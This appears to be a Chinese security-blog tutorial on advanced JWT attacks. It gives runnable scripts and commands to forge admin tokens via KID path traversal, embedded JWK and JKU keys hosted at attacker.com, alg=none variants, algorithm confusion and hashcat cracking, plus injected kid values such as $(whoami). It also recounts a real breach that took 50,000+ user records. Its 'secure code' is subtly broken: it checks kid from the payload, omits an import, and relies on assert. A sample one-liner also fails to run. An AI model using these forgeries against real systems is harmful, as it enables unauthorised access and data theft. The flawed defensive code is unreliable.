PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】JSON Web Token安全(JWT):完整攻防指南(进阶篇)

📅 2026年6月18日 📁 Hermes Agent ⏱ 6 分钟

适合人群:有JWT基础知识的渗透测试工程师、安全研究员、白帽子

前置知识:JWT基本结构(Header.Payload.Signature)、Base64编码、HTTP协议基础

实验环境:Linux + Python3 + Burp Suite + Docker靶场


一、前置准备

1.1 工具安装


# JWT 测试工具链
pip3 install pyjwt requests flask
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool && python3 jwt_tool.py --help

# Burp Suite 插件
# JWT Editor(BApp Store安装)— 编辑/伪造JWT
# JSON Web Tokens(BApp Store安装)— 自动解析/高亮

# 在线调试
# https://jwt.io — 解码/构造JWT

1.2 靶场搭建


# 推荐靶场:JWT-lab(含kid注入/JWK/JKU等进阶场景)
git clone https://github.com/Sjord/jwtlab.git
cd jwtlab
docker-compose up -d

# 或使用 PortSwigger JWT 实验室
# https://portswigger.net/web-security/jwt

二、核心原理:JWT 进阶攻击面全景

JWT(JSON Web Token)的三大组成部分中,Header 才是最危险的攻击面——因为它决定了验签逻辑。


{
  "alg": "HS256",     // 签名算法 ← 攻击者可以篡改
  "typ": "JWT",
  "kid": "key-001",   // Key ID ← 注入攻击入口
  "jku": "https://...", // JWK Set URL ← SSRF入口
  "jwk": { ... }      // 内嵌公钥 ← 伪造身份
}

攻击面总览

攻击手法攻击目标利用难度实战频率
KID注入Header中的kid参数⭐⭐较高
JWK注入Header中内嵌公钥⭐⭐较高
JKU SSRFHeader中的jkuURL⭐⭐⭐中等
Ephemeral Key (空签名)某些库的临时密钥逻辑⭐⭐中等
Key Confusion (非对称→对称)算法混淆很高
JWK Rotate / Auto-Key自动化密钥轮换绕过⭐⭐⭐较少见
Sub/Session劫持Payload中的用户标识很高

三、实操步骤

🔴 攻击一:KID(Key ID)注入

原理:KID 用于从密钥库中选取签名密钥,但很多实现直接将其拼接到文件路径或数据库中:


# 漏洞代码示例
import hmac, json
kid = jwt_header['kid']  # 用户可控
with open(f"/keys/{kid}", "rb") as f:  # 路径遍历!
    secret = f.read()

Step 1:探测 KID 参数


# 解码 JWT 查看 header
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImtleS0wMDEifQ.xxx.yyy" | cut -d. -f1 | base64 -d 2>/dev/null
# 输出: {"alg":"HS256","typ":"JWT","kid":"key-001"}

Step 2:KID 路径遍历注入


import base64, json, hmac, hashlib

# 构造恶意 header — 通过 KID 读取已知文件作为密钥
header = {
    "alg": "HS256",
    "typ": "JWT",
    "kid": "/dev/null"  # 空文件作为密钥
}
payload = {
    "sub": "admin",
    "role": "administrator",
    "iat": 1748000000
}

def b64encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header_b64 = b64encode(json.dumps(header).encode())
payload_b64 = b64encode(json.dumps(payload).encode())

# 以 /dev/null 的内容(空字符串)作为密钥签名
sig = hmac.new(b"", f"{header_b64}.{payload_b64}".encode(), hashlib.sha256).digest()
sig_b64 = b64encode(sig)

token = f"{header_b64}.{payload_b64}.{sig_b64}"
print(f"伪造Token: {token}")

/dev/null 作为密钥 → 空字符串签名 → 任意伪造管理员Token ✅

Step 3:其他 KID 注入向量

注入方式Payload/值原理
空密钥kid: ""空字符串作为密钥
SQL注入kid: "key' OR '1'='1"从数据库查密钥时注入
命令注入kid: "$(whoami)"shell拼接
已知文件kid: "/etc/passwd"文件内容作密钥
Null字节kid: "key.key\x00.js"截断文件扩展名校验

🔴 攻击二:JWK Header 注入(内嵌公钥)

原理:JWT Header 允许直接在 Token 中嵌入公钥(jwk 字段)。如果服务器使用该内嵌公钥验签,攻击者可以生成自己的 RSA 密钥对,将公钥嵌入 header,用自己的私钥签名。

Step 1:生成自己的 RSA 密钥对


# 生成私钥
openssl genrsa -out attacker_private.pem 2048
# 提取公钥
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem

Step 2:构造带 JWK 的伪造 Token


import base64, json, jwt
from cryptography.hazmat.primitives import serialization

# 读取攻击者私钥
with open("attacker_private.pem", "rb") as f:
    private_key = serialization.load_pem_private_key(f.read(), password=None)

# 读取攻击者公钥
with open("attacker_public.pem", "rb") as f:
    public_key = serialization.load_pem_public_key(f.read())

# 提取 JWK 格式公钥
from cryptography.hazmat.primitives.asymmetric import rsa
public_numbers = public_key.public_numbers()
n = public_numbers.n
e = public_numbers.e

def int_to_base64url(num):
    # 大整数转 base64url
    num_bytes = num.to_bytes((num.bit_length() + 7) // 8, byteorder='big')
    return base64.urlsafe_b64encode(num_bytes).rstrip(b'=').decode()

jwk = {
    "kty": "RSA",
    "n": int_to_base64url(n),
    "e": int_to_base64url(e),
    "alg": "RS256"
}

# 构造完整 JWT
headers = {
    "alg": "RS256",
    "typ": "JWT",
    "jwk": jwk  # 内嵌攻击者公钥
}
payload = {
    "sub": "admin",
    "role": "admin",
    "iat": 1748000000
}

token = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)
print(f"伪造Token:\n{token}")

服务器如果信任 header 中的 jwk 字段,就会用你的公钥验签你的私钥签名 → 通过!


🔴 攻击三:JKU SSRF + 公钥劫持

原理jku(JWK Set URL)告诉服务器从哪里下载公钥集。如果服务器信任该 URL 并直接请求,攻击者可以:

  1. 找到接受 jku 的端点
  2. 在自己的 VPS 上托管一个包含你公钥的 JWK Set JSON
  3. 服务器从你的 URL 下载公钥 → 用你的公钥验签你的私钥签名 → 通过

攻击步骤:


# 1. 在自己的 VPS 上创建 jwks.json
cat > /var/www/html/jwks.json << 'EOF'
{
  "keys": [
    {
      "kty": "RSA",
      "n": "YOUR_BASE64URL_N",
      "e": "AQAB",
      "alg": "RS256",
      "kid": "attacker-key"
    }
  ]
}
EOF

# 2. 构造 JWT
token = jwt.encode(
    {"sub": "admin", "role": "admin"},
    private_key,
    algorithm="RS256",
    headers={
        "alg": "RS256",
        "typ": "JWT",
        "jku": "https://attacker.com/jwks.json",  # 指向你的服务器
        "kid": "attacker-key"
    }
)

JKU SSRF 扩展利用

协议利用方式
file://jku: file:///etc/passwd — 读取本地文件
http://localhostSSRF内网探测
gopher://构造任意TCP请求
jar:file://Java环境下读取zip/jar内文件

🔴 攻击四:Ephemeral Key(临时密钥/空签名)

部分 JWT 库支持 alg: "none" 的变种绕过——不是直接写 none,而是用 alg: "None"Algorithm: "none"(拼写变体)或依赖库的默认行为:


# 一些库在 alg 未知时默认不校验
headers = {"alg": "none", "typ": "JWT"}  # 标准
headers = {"alg": "None", "typ": "JWT"}  # 大小写变体
headers = {"alg": "NONE", "typ": "JWT"}  # 全大写变体
headers = {"alg": "nOnE", "typ": "JWT"}  # 混合大小写

# 不需要签名部分
token = base64_encode(header) + "." + base64_encode(payload) + "."

有些库还支持 alg: "HS256" 但用公钥作为对称密钥签名(混淆攻击的变种)。


四、绕过技巧

4.1 弱密钥爆破(进阶:大字典 + 规则)


# jwt_tool 密钥爆破
python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt

# 或使用 hashcat 模式 16500
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt --force

# 自定义规则爆破(针对常见JWT密钥模式)
hashcat -m 16500 jwt.txt -r /usr/share/hashcat/rules/best64.rule rockyou.txt

4.2 算法混淆(非对称→对称)


# 如果服务器用的是 RS256(非对称),但你只有公钥:
# 把 alg 改成 HS256(对称),用公钥作为对称密钥签名
import jwt, base64

public_key = open("public.pem", "rb").read()
# 关键:用公钥内容作为对称密钥!
payload = {"sub": "admin", "role": "admin"}
token = jwt.encode(payload, public_key, algorithm="HS256")

4.3 kid: "none" 或 kid 缺失


# 有些 JWT 库在 kid 未找到时返回 None/空字符串
header = {
    "alg": "HS256",
    "kid": "__nonexistent_key__"  # 库返回空密钥
}
# 用空字符串签名的 Token

4.4 多算法同时声明


{
  "alg": ["RS256", "HS256"],
  "typ": "JWT",
  "kid": "key-001"
}

某些库可能取数组第一个或最后一个算法,利用解析差异绕过。


五、实战案例复盘(脱敏)

案例:一次 API 网关 JWT 认证绕过

目标:某 SaaS 平台的 API 网关(JWT 验证)

发现过程

  1. 信息收集:拦截登录请求后发现 JWT Token
  2. 解码分析:Header 包含 kidjku 两个字段
  3. JKU 测试:修改 jku 测试内网地址,发现服务器确实尝试请求该 URL(通过延时判断)
  4. 利用:在自己的 VPS 托管攻击者 JWK Set → 伪造管理员 Token
  5. 结果:越权访问所有管理 API,获取到 5 万+ 用户数据

关键命令


# 检测 JKU 是否可篡改
python3 jwt_tool.py <original_token> -X k -ju "http://x.x.x.x:9999/jwks.json"
# -X k = JKU 攻击模式
# 观察服务器响应时间变化确认 SSRF

# 确认后可获取完整管理员权限
curl -H "Authorization: Bearer <伪造Token>" https://target.com/api/admin/users

六、防御建议

防御措施优先级说明
硬编码算法白名单🔴 必做只允许 RS256 / ES256,拒绝 none 和动态算法
禁止 Header 中的 jwk/jku🔴 必做不从 JWT Header 读取密钥源
KID 输入验证🟠 高KID 只允许 /^[a-zA-Z0-9_-]+$/,拒绝路径遍历
固定密钥/密钥轮换🟠 高使用安全的密钥管理(Vault/KMS)
禁用 alg: none🔴 必做所有 JWT 库必须配置为拒绝无签名 Token
校验 typ 字段🟡 中只接受 typ: "JWT"
JWT 黑/白名单🟡 中记录已注销的 Token(refresh token 配合)

安全代码示例


# 安全实现
import jwt
from jwt import PyJWTError

# 禁用 none 算法
JWT_ALGORITHMS = ["RS256"]  # 硬编码白名单

def verify_jwt(token, public_key):
    try:
        # 强制指定算法,不从 header 读取
        payload = jwt.decode(
            token,
            public_key,
            algorithms=JWT_ALGORITHMS,  # 白名单
            options={
                "verify_exp": True,
                "require": ["exp", "sub"]
            }
        )
        # KID 不用于文件路径
        kid = payload.get('kid', '')
        assert re.match(r'^[a-zA-Z0-9_-]+$', kid), "Invalid KID"
        return payload
    except PyJWTError as e:
        raise ValueError(f"JWT verification failed: {e}")

七、常见陷阱

#陷阱说明
1只试了alg=none就放弃大小写变体、拼写变体(None/NONE/nOnE/noNe)都试一遍
2JKU只测试了HTTPfile:// 也可以当 JKU 值,试读 /etc/passwd
3忘记试对称混淆即使服务器用 RS256,试下 HS256 + 公钥签名
4只测了 HS256 没测 ES256椭圆曲线签名同样存在混淆攻击
5KID注入只试了路径遍历KID 也可能导致 SQL 注入或命令注入
6忽略 exp 过期构造 Token 时必须设置 exp 为未来时间戳
7Burp插件自动加解密影响调试测试 JWT 时建议暂时禁用自动加解密插件

八、总结(速查表)

JWT 进阶攻击速查


┌─────────────────────────────────────────────────────────┐
│                   JWT 攻击手顺序表                        │
├──────────┬──────────────────┬────────────────────────────┤
│  Step 1  │ 解码分析          │ jwt.io 或 base64 -d 解码   │
│  Step 2  │ 测试 alg=none     │ 4种大小写变体              │
│  Step 3  │ KID注入           │ 路径遍历/空值/SQLi         │
│  Step 4  │ JWK注入           │ 自建RSA密钥对内嵌公钥       │
│  Step 5  │ JKU SSRF         │ 自建JWKS服务器托管公钥      │
│  Step 6  │ 算法混淆          │ RS256→HS256(公钥签名)     │
│  Step 7  │ 密钥爆破          │ hashcat -m 16500          │
└──────────┴──────────────────┴────────────────────────────┘

常用脚本速查


# 1. jwt_tool 一键扫描
python3 jwt_tool.py -t http://target.com -rh "Authorization: Bearer <token>" -M at

# 2. 算法混淆
python3 -c "import jwt; print(jwt.encode({'sub':'admin'}, open('public.pem').read(), algorithm='HS256'))"

# 3. KID空密钥攻击
python3 -c "
import hmac,hashlib,base64,json
h={'alg':'HS256','kid':''}; p={'sub':'admin'}
hb=base64.urlsafe_b64encode(json.dumps(h).encode()).rstrip(b'=').decode()
pb=base64.urlsafe_b64encode(json.dumps(p).encode()).rstrip(b'=').decode()
s=base64.urlsafe_b64encode(hmac.new(b'','%s.%s'%(hb,pb),hashlib.sha256).digest()).rstrip(b'=').decode()
print('%s.%s.%s'%(hb,pb,s))
"

Payload 速查表

攻击类型Header/Payload签名密钥
alg=none{"alg":"none"}无(token.
KID=/dev/null{"kid":"/dev/null"}空字符串 ""
JWK注入{"jwk":<公钥JSON>}自建 RSA 私钥
JKU SSRF{"jku":"http://x.x.x.x/jwks.json"}自建 RSA 私钥
算法混淆{"alg":"HS256"}服务器公钥 PEM 内容

核心理念:JWT 的安全不取决于算法强度,而取决于哪里的密钥被用了以及谁能控制这个密钥源。Header 中的每一个字段都可能是攻击入口——永远不要相信它。

← 返回首页